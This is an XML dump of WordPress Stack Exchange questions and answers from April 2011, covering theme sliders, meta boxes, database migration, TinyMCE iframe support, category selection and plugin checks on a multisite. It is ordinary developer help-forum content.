  <row Id="14395" PostTypeId="2" ParentId="14388" CreationDate="2011-04-10T05:52:32.187" Score="2" ViewCount="" Body="&lt;p&gt;ASCII characters will not cause any issues with search engines and they will be displayed properly. SEOmoz does this to avoid any chance of sql injection via its form fields.&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-10T05:52:32.187" />
  <row Id="14396" PostTypeId="1" AcceptedAnswerId="14474" CreationDate="2011-04-10T09:25:58.807" Score="1" ViewCount="167" Body="&lt;p&gt;Im trying to build a Featured post slider to show any post that i &lt;code&gt;mark as a &quot;featured&quot;&lt;/code&gt; (with a in-post option) regardless the category or tag type...&#xA;Im new to wordpress and although I understand a little bit php language im not a coder :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slider is already working. The question is, how can can i build this slider with a loop to show the last &lt;code&gt;7&lt;/code&gt; post marked as &quot;featured&quot; with the corresponding featured image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have the in-post option set up in a metabox in the post edit page, also the image size configured in my function.php ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using wordpress 3.1 with the genesis framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the slider code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;slider&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;main-wapper&quot;&amp;gt;&#xA;      &amp;lt;li&amp;gt; &amp;lt;img src=&quot;path to featured img&quot; title=&quot;the post title&quot; height=&quot;300&quot; width=&quot;315&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;main-item-desc&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;&amp;lt;a target=&quot;_parent&quot; title=&quot;Post Title&quot; href=&quot;post link&quot;&amp;gt;POST TITLE&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;p&amp;gt;Post Description limited to 150 character&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; &amp;lt;img src=&quot;path to featured img&quot; title=&quot;the post title&quot; height=&quot;300&quot; width=&quot;315&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;main-item-desc&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;&amp;lt;a target=&quot;_parent&quot; title=&quot;Post Title&quot; href=&quot;post link&quot;&amp;gt;POST TITLE&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;p&amp;gt;Post Description limited to 150 character&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; &amp;lt;img src=&quot;path to featured img&quot; title=&quot;the post title&quot; height=&quot;300&quot; width=&quot;315&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;main-item-desc&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;&amp;lt;a target=&quot;_parent&quot; title=&quot;Post Title&quot; href=&quot;post link&quot;&amp;gt;POST TITLE&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;p&amp;gt;Post Description limited to 150 character&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt; &amp;lt;img src=&quot;path to featured img&quot; title=&quot;the post title&quot; height=&quot;300&quot; width=&quot;315&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;main-item-desc&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;&amp;lt;a target=&quot;_parent&quot; title=&quot;Post Title&quot; href=&quot;post link&quot;&amp;gt;POST TITLE&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;p&amp;gt;Post Description limited to 150 character&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;navigator-outer&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;navigator&quot;&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;        &amp;lt;div&amp;gt; &amp;lt;img src=&quot;img src&quot; /&amp;gt;&#xA;          &amp;lt;h3&amp;gt;Content Title H3&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;20.01.2010&amp;lt;/span&amp;gt; | &amp;lt;span class=&quot;category&quot;&amp;gt;CATEGORY NAME&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;        &amp;lt;div&amp;gt; &amp;lt;img src=&quot;img src&quot; /&amp;gt;&#xA;          &amp;lt;h3&amp;gt;Content Title H3&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;20.01.2010&amp;lt;/span&amp;gt; | &amp;lt;span class=&quot;category&quot;&amp;gt;CATEGORY NAME&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;        &amp;lt;div&amp;gt; &amp;lt;img src=&quot;img src&quot; /&amp;gt;&#xA;          &amp;lt;h3&amp;gt;Content Title H3&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;20.01.2010&amp;lt;/span&amp;gt; | &amp;lt;span class=&quot;category&quot;&amp;gt;CATEGORY NAME&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;        &amp;lt;div&amp;gt; &amp;lt;img src=&quot;img src&quot; /&amp;gt;&#xA;          &amp;lt;h3&amp;gt;Content Title H3&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;20.01.2010&amp;lt;/span&amp;gt; | &amp;lt;span class=&quot;category&quot;&amp;gt;CATEGORY NAME&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot of the slider..&#xA;&lt;img src=&quot;http://i.stack.imgur.com/XxphB.png&quot; alt=&quot;Slider Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;in my functions.php files i have this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add new image sizes&#xA;add_image_size('Slider', 315, 300, TRUE);&#xA;&#xA;require_once(CHILD_DIR . '/lib/admin/inpost-settings.php');&#xA;wich is the code below..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inpost-settings.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = 'myslider_';&#xA;&#xA;$meta_box = array(&#xA;    'id' =&amp;gt; 'slider-meta-box',&#xA;    'title' =&amp;gt; 'Featured Slider Options',&#xA;    'page' =&amp;gt; 'post',&#xA;    'context' =&amp;gt; 'normal',&#xA;    'priority' =&amp;gt; 'high',&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'Show in featured slider',&#xA;            'id' =&amp;gt; $prefix . 'show_post_slider',&#xA;            'type' =&amp;gt; 'checkbox'&#xA;        )&#xA;    )&#xA;);&#xA;add_action('admin_menu', 'mytheme_add_box');&#xA;&#xA;// Add meta box&#xA;function mytheme_add_box() {&#xA;    global $meta_box;&#xA;&#xA;    add_meta_box($meta_box['id'], $meta_box['title'], 'mytheme_show_box', $meta_box['page'], $meta_box['context'], $meta_box['priority']);&#xA;}&#xA;&#xA;// Callback function to show fields in meta box&#xA;function mytheme_show_box() {&#xA;    global $meta_box, $post;&#xA;&#xA;    // Use nonce for verification&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;mytheme_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;&#xA;    echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;    foreach ($meta_box['fields'] as $field) {&#xA;        // get current post meta data&#xA;        $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;        echo '&amp;lt;tr&amp;gt;',&#xA;                '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;', $field['id'], '&quot;&amp;gt;', $field['name'], '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;',&#xA;                '&amp;lt;td&amp;gt;';&#xA;        switch ($field['type']) {&#xA;             case 'checkbox':&#xA;                echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;', $meta ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;';&#xA;                break;&#xA;        }&#xA;        echo     '&amp;lt;td&amp;gt;',&#xA;            '&amp;lt;/tr&amp;gt;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;add_action('save_post', 'mytheme_save_data');&#xA;&#xA;// Save data from meta box&#xA;function mytheme_save_data($post_id) {&#xA;    global $meta_box;&#xA;&#xA;    // verify nonce&#xA;    if (!wp_verify_nonce($_POST['mytheme_meta_box_nonce'], basename(__FILE__))) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // check permissions&#xA;    if ('page' == $_POST['post_type']) {&#xA;        if (!current_user_can('edit_page', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;    } elseif (!current_user_can('edit_post', $post_id)) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    foreach ($meta_box['fields'] as $field) {&#xA;        $old = get_post_meta($post_id, $field['id'], true);&#xA;        $new = $_POST[$field['id']];&#xA;&#xA;        if ($new &amp;amp;&amp;amp; $new != $old) {&#xA;            update_post_meta($post_id, $field['id'], $new);&#xA;        } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;            delete_post_meta($post_id, $field['id'], $old);&#xA;        }&#xA;    }&#xA;}&#xA;// check autosave&#xA;if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA; return $post_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3022" LastEditorUserId="3022" LastEditorDisplayName="" LastEditDate="2011-04-12T07:45:34.053" LastActivityDate="2011-04-12T09:30:26.687" Title="PHP loop that selects posts with a particular in-post option" Tags="&lt;child-theme&gt;&lt;custom-loop&gt;&lt;genesis-theme-framework&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="14397" PostTypeId="1" AcceptedAnswerId="14401" CreationDate="2011-04-10T09:40:51.957" Score="0" ViewCount="82" Body="&lt;p&gt;I am developing a theme for my blog using Twenty Ten as starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I am trying to understand how it manages the background image that can be set in theme options but I wasn't able to find the code. Can you help find where is that implementation?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-10T10:32:38.470" LastActivityDate="2011-04-10T10:33:37.190" Title="Where is the code that set the background image in TwentyTen theme?" Tags="&lt;theme-twenty-ten&gt;&lt;custom-background&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14398" PostTypeId="1" CreationDate="2011-04-10T05:29:45.867" Score="0" ViewCount="199" Body="&lt;p&gt;I'm trying to move a Wordpress blog from one host to another. I transferred over the files, and now the last step is moving the MySQL database. I've done this with 4 other WP blogs on the same server, and haven't had any problems before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this one, after finally getting the backup of the MySQL database imported into the MySQl server on the new host, the resulting website is a version of my blog from more than a month ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site seems to be perfectly operational, it's just missing the last month of new content and layout changes. I've repeated the import a half dozen times, and it always ends up looking the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgraded to latest version of WP Version 3.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated info 4/11/2011:&lt;/strong&gt;&#xA;Ok, I figured out how to browse data in PHPMyAdmin. The missing posts are not in the new WP Mysql table. I ran a query to Select all posts that are published and aren't revisions, and it listed all of the posts up to about a month ago, matching what is displayed (erroneously) on my migrated version of the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the text file version of my exported database, and did a FIND on blog post titles, and it couldn't find any of the title text for my last month of blog posts. This matches what is displayed on the new migrated version of the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, apparently when I export my table, a bunch of data is left out. What could cause this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4579" LastEditorUserId="4579" LastEditorDisplayName="" LastEditDate="2011-04-11T15:24:12.533" LastActivityDate="2011-08-09T22:21:38.600" Title="Importing MySQL database to Wordpress - Result is old version of blog" Tags="&lt;mysql&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="14399" PostTypeId="2" ParentId="14398" CreationDate="2011-04-10T08:05:14.440" Score="0" ViewCount="" Body="&lt;p&gt;Are you using the latest MySQL database? Prior to moving hosts, I recommend making a database backup - don't rely on the lastest backup from your hosting server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this still doesn't work, check in your wp-config file that you have the correct database name and credentials.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-10T08:05:14.440" CommentCount="5" />
  <row Id="14400" PostTypeId="1" AcceptedAnswerId="14419" CreationDate="2011-04-10T10:19:51.573" Score="0" ViewCount="143" Body="&lt;p&gt;We're using Facebook Comments for the comment functionality on our WordPress blog. I thought it'd be nice to embed the page with &lt;a href=&quot;http://developers.facebook.com/tools/comments?view=queue&quot; rel=&quot;nofollow&quot;&gt;Facebook Moderation tools&lt;/a&gt; on the WP Dashboard. That way, we can immediately see who commented on what when we log in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked for the functionality to embed an html page in a dashboard widget but I haven't managed to find something. Does anybody know if this is possible?&lt;/p&gt;&#xA;" OwnerUserId="4567" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-04-10T18:43:28.707" LastActivityDate="2011-04-10T18:43:28.707" Title="Embed a page within WordPress dashboard?" Tags="&lt;comments&gt;&lt;facebook&gt;&lt;dashboard&gt;&lt;moderation&gt;&lt;embed&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14401" PostTypeId="2" ParentId="14397" CreationDate="2011-04-10T10:33:37.190" Score="2" ViewCount="" Body="&lt;p&gt;This is native WP feature, it is set up in Twenty Ten with simple &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_custom_background&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_custom_background()&lt;/code&gt;&lt;/a&gt; call in &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-10T10:33:37.190" />
  <row Id="14402" PostTypeId="1" CreationDate="2011-04-10T10:42:04.643" Score="2" ViewCount="141" Body="&lt;p&gt;Doing my first plugin with 3.1  Everything is great, but I need to store the data now.  My data is sufficiently complex that it requires custom tables (as opposed to options).  So now I am wondering how I save the data.  Normally, I would just create a processing page to handle it, but that doesn't seem like the best way within the WP API.  How do I go about saving my form data from my plugin settings page into my custom tables?  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To clarify, I know how to code it, I am not sure architecturally the best way to do it.&lt;/p&gt;&#xA;" OwnerUserId="1385" LastEditorUserId="1385" LastEditorDisplayName="" LastEditDate="2011-04-10T14:26:49.627" LastActivityDate="2011-04-10T14:26:49.627" Title="Not sure the best way to save custom plugin data" Tags="&lt;plugin-development&gt;&lt;database&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="14403" PostTypeId="1" AcceptedAnswerId="14405" CreationDate="2011-04-10T11:17:52.740" Score="1" ViewCount="194" Body="&lt;p&gt;How can I force the user to first choose a category before continuing to the editor when creating a new post? I want to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14361/default-content-for-a-post-in-one-category&quot;&gt;set some default content&lt;/a&gt;, but this is based on the category, so I need to know that before showing the editor (unless I do some fancy Ajax stuff, but in this case I don't want to do that).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-29T07:12:25.617" Title="Force category choice before creating new post?" Tags="&lt;categories&gt;&lt;post-editor&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="14404" PostTypeId="2" ParentId="14370" CreationDate="2011-04-10T11:19:58.213" Score="1" ViewCount="" Body="&lt;p&gt;Hey goldenapples, rewriting the permalink structure does the trick. I've posted an example on my blog: &lt;a href=&quot;http://madpress.org/display-date-in-custom-post-type-permalinks/564/&quot; rel=&quot;nofollow&quot;&gt;http://madpress.org/display-date-in-custom-post-type-permalinks/564/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process, and other issues related to custom post type permalinks, are described more fully &lt;a href=&quot;http://shibashake.com/wordpress-theme/custom-post-type-permalinks&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4568" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-04-11T05:19:28.583" LastActivityDate="2011-04-11T05:19:28.583" CommentCount="3" />
  <row Id="14405" PostTypeId="2" ParentId="14403" CreationDate="2011-04-10T11:37:32.910" Score="3" ViewCount="" Body="&lt;p&gt;I solved this by hooking into &lt;code&gt;post-new.php&lt;/code&gt;, and checking for a &lt;code&gt;category_id&lt;/code&gt; request parameter. If it does not exist, I display a form with a category dropdown that submits back to this page, and then call &lt;code&gt;exit()&lt;/code&gt; so the regular post form does not display. If it exists, I set up a hook for &lt;code&gt;wp_insert_post&lt;/code&gt; that will add the category. This works because a new post is already created in the database via &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-admin/includes/post.php#L376&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;get_default_post_to_edit()&lt;/code&gt; function&lt;/a&gt;, and we can add categories, tags, or other (meta) content. The form is rendered after this with the &quot;fresh&quot; new content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'load-post-new.php', 'wpse14403_load_post_new' );&#xA;function wpse14403_load_post_new()&#xA;{&#xA;    $post_type = 'post';&#xA;    if ( isset( $_REQUEST['post_type'] ) ) {&#xA;        $post_type = $_REQUEST['post_type'];&#xA;    }&#xA;&#xA;    // Only do this for posts&#xA;    if ( 'post' != $post_type ) {&#xA;        return;&#xA;    }&#xA;&#xA;    if ( array_key_exists( 'category_id', $_REQUEST ) ) {&#xA;        add_action( 'wp_insert_post', 'wpse14403_wp_insert_post' );&#xA;        return;&#xA;    }&#xA;&#xA;    // Show intermediate screen&#xA;    extract( $GLOBALS );&#xA;    $post_type_object = get_post_type_object( $post_type );&#xA;    $title = $post_type_object-&amp;gt;labels-&amp;gt;add_new_item;&#xA;&#xA;    include( ABSPATH . 'wp-admin/admin-header.php' );&#xA;&#xA;    $dropdown = wp_dropdown_categories( array(&#xA;        'name' =&amp;gt; 'category_id[]',&#xA;        'hide_empty' =&amp;gt; false,&#xA;        'echo' =&amp;gt; false,&#xA;    ) );&#xA;&#xA;    $category_label = __( 'Category:' );&#xA;    $continue_label = __( 'Continue' );&#xA;    echo &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{$title}&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;form method=&quot;get&quot;&amp;gt;&#xA;        &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;                &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;                    &amp;lt;th scope=&quot;row&quot;&amp;gt;{$category_label}&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{$dropdown}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;th&amp;gt;&amp;lt;input name=&quot;continue&quot; type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;{$continue_label}&quot; /&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;{$post_type}&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;HTML;&#xA;    include( ABSPATH . 'wp-admin/admin-footer.php' );&#xA;    exit();&#xA;}&#xA;&#xA;// This function will only be called when creating an empty post,&#xA;// via `get_default_post_to_edit()`, called in post-new.php&#xA;function wpse14403_wp_insert_post( $post_id )&#xA;{&#xA;    wp_set_post_categories( $post_id, $_REQUEST['category_id'] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-10T11:37:32.910" CommentCount="3" />
  <row Id="14406" PostTypeId="1" AcceptedAnswerId="14460" CreationDate="2011-04-10T11:43:03.987" Score="0" ViewCount="470" Body="&lt;p&gt;When a post is split on more pages TwentyTen theme use the native function &lt;code&gt;wp_link_pages&lt;/code&gt; to display a navigation page bar at the end of post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to style those elements for my theme, but unfortunately it seems that the current page number cannot be styled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine that I should override the &lt;code&gt;wp_link_pages&lt;/code&gt; function but I am still learning the basic of WP programming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me identifing the steps to follow to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-17T10:22:11.403" LastActivityDate="2011-05-17T10:22:11.403" Title="How to style current page number (wp_link_pages)?" Tags="&lt;functions&gt;&lt;pagination&gt;&lt;wp-link-pages&gt;" AnswerCount="2" />
  <row Id="14407" PostTypeId="1" CreationDate="2011-04-10T12:05:56.037" Score="-1" ViewCount="202" Body="&lt;p&gt;I am looking for wordpress theme editor, Is there any Cool Wordpress Theme Editors available for free??If you have worked with share your experiences here ..&#xA;And also the links to download them with why is that editor is the best one or better one ??&lt;/p&gt;&#xA;" OwnerUserId="4570" LastActivityDate="2011-04-10T15:27:16.193" Title="Any Cool Wordpress Theme Editor?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;editor&gt;" AnswerCount="3" />
  <row Id="14408" PostTypeId="2" ParentId="14363" CreationDate="2011-04-10T12:19:41.680" Score="1" ViewCount="" Body="&lt;p&gt;I've had this code in a custom local plugin for a while. Or you could just stick it in your theme's &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Allow iframe in TinyMCE&#xA;function tinymce_add_iframe( $arr = array() ) {&#xA;  $extra = 'iframe[id|class|title|style|align|frameborder|height|longdesc|marginheight|marginwidth|name|scrolling|src|width]';&#xA;&#xA;  if ( isset( $arr['extended_valid_elements'] ) ) {&#xA;    // append to existing value&#xA;    $arr['extended_valid_elements'] .= ',' . $extra;&#xA;  } else {&#xA;    // set the value&#xA;    $arr['extended_valid_elements'] = $extra;&#xA;  }&#xA;&#xA;  return $arr;&#xA;}&#xA;&#xA;add_filter('tiny_mce_before_init','tinymce_add_iframe');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This tells TinyMCE (the visual editor) to allow the &lt;code&gt;iframe&lt;/code&gt; tag and all of its attributes.&lt;/p&gt;&#xA;" OwnerUserId="65" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-04-10T12:59:27.743" LastActivityDate="2011-04-10T12:59:27.743" CommentCount="1" />
  <row Id="14409" PostTypeId="2" ParentId="444" CreationDate="2011-04-10T12:34:04.487" Score="0" ViewCount="" Body="&lt;p&gt;I cant get this to work - not sure what Im doing wrong - but Im trying to use post_updated hook instead of the save_post - as I want these values to be inserted after the post has been updated so I can retrieve values from the other custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function update_meta ($ID = false, $post = false) {&#xA;  update_post_meta($ID, 'rest_long', 'Test 1');&#xA;  update_post_meta($ID, 'rest_lat', 'Test 2');&#xA;}&#xA;&#xA;add_action('post_updated', 'update_meta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4571" LastActivityDate="2011-04-10T12:34:04.487" CommentCount="1" />
  <row Id="14410" PostTypeId="1" AcceptedAnswerId="14414" CreationDate="2011-04-10T12:55:57.620" Score="2" ViewCount="116" Body="&lt;p&gt;How to find out if a particular plugin is enabled in a sub-blog in a multisite blog?&lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-05-25T21:14:22.690" LastActivityDate="2011-05-25T21:14:22.690" Title="How to Check If A Plugin Is Enabled Through API?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;multisite&gt;&lt;api&gt;" AnswerCount="2" />
  <row Id="14411" PostTypeId="2" ParentId="14406" CreationDate="2011-04-10T13:00:36.777" Score="0" ViewCount="" Body="&lt;p&gt;First, you need to provide a CSS class to target, which you can do using the arguments of &lt;code&gt;wp_link_pages()&lt;/code&gt; itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_link_pages( 'before=&amp;lt;p class=&quot;link-pages&quot;&amp;gt;Page: ' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, just style the &lt;code&gt;.link-pages&lt;/code&gt; class. Here's what I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.link-pages {&#xA;    clear:both;&#xA;    font-size:10pt;&#xA;    text-align:center;&#xA;}&#xA;.link-pages a {&#xA;    margin: 0px 3px 0px 3px;&#xA;    padding: 0px 3px 0px 3px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Style according to your needs, of course.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-10T13:00:36.777" />
  <row Id="14412" PostTypeId="2" ParentId="14407" CreationDate="2011-04-10T13:02:01.423" Score="0" ViewCount="" Body="&lt;p&gt;I prefer Kate when I'm in Linux, and Notepad++ when I'm unfortunate enough to be using Windows.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-10T13:02:01.423" />
  <row Id="14413" PostTypeId="2" ParentId="14407" CreationDate="2011-04-10T14:08:30.800" Score="2" ViewCount="" Body="&lt;p&gt;Technically WordPress theme is combination of PHP, HTML, CSS and JS (or some subset of these). There isn't such thing as WP theme editor, but any editor or IDE that is good for such combination will do. It depends on your personal preferences, operating system and if you want free or paid solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this questions for many good software suggestions - &lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-and-plugin-development&quot;&gt;Software for WordPress Theme and Plugin Development?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-10T14:08:30.800" />
  <row Id="14414" PostTypeId="2" ParentId="14410" CreationDate="2011-04-10T14:17:07.660" Score="2" ViewCount="" Body="&lt;p&gt;Hm, I am not entirely sure about mechanics here. Usual &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_plugin_active&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_plugin_active()&lt;/code&gt;&lt;/a&gt; checks if plugin is in &lt;code&gt;active_plugins&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By this logic you could probably retrieve &lt;code&gt;active_plugins&lt;/code&gt; of specific blog with &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/get_blog_option&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_blog_option()&lt;/code&gt;&lt;/a&gt; and check it for plugin.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-10T14:17:07.660" />
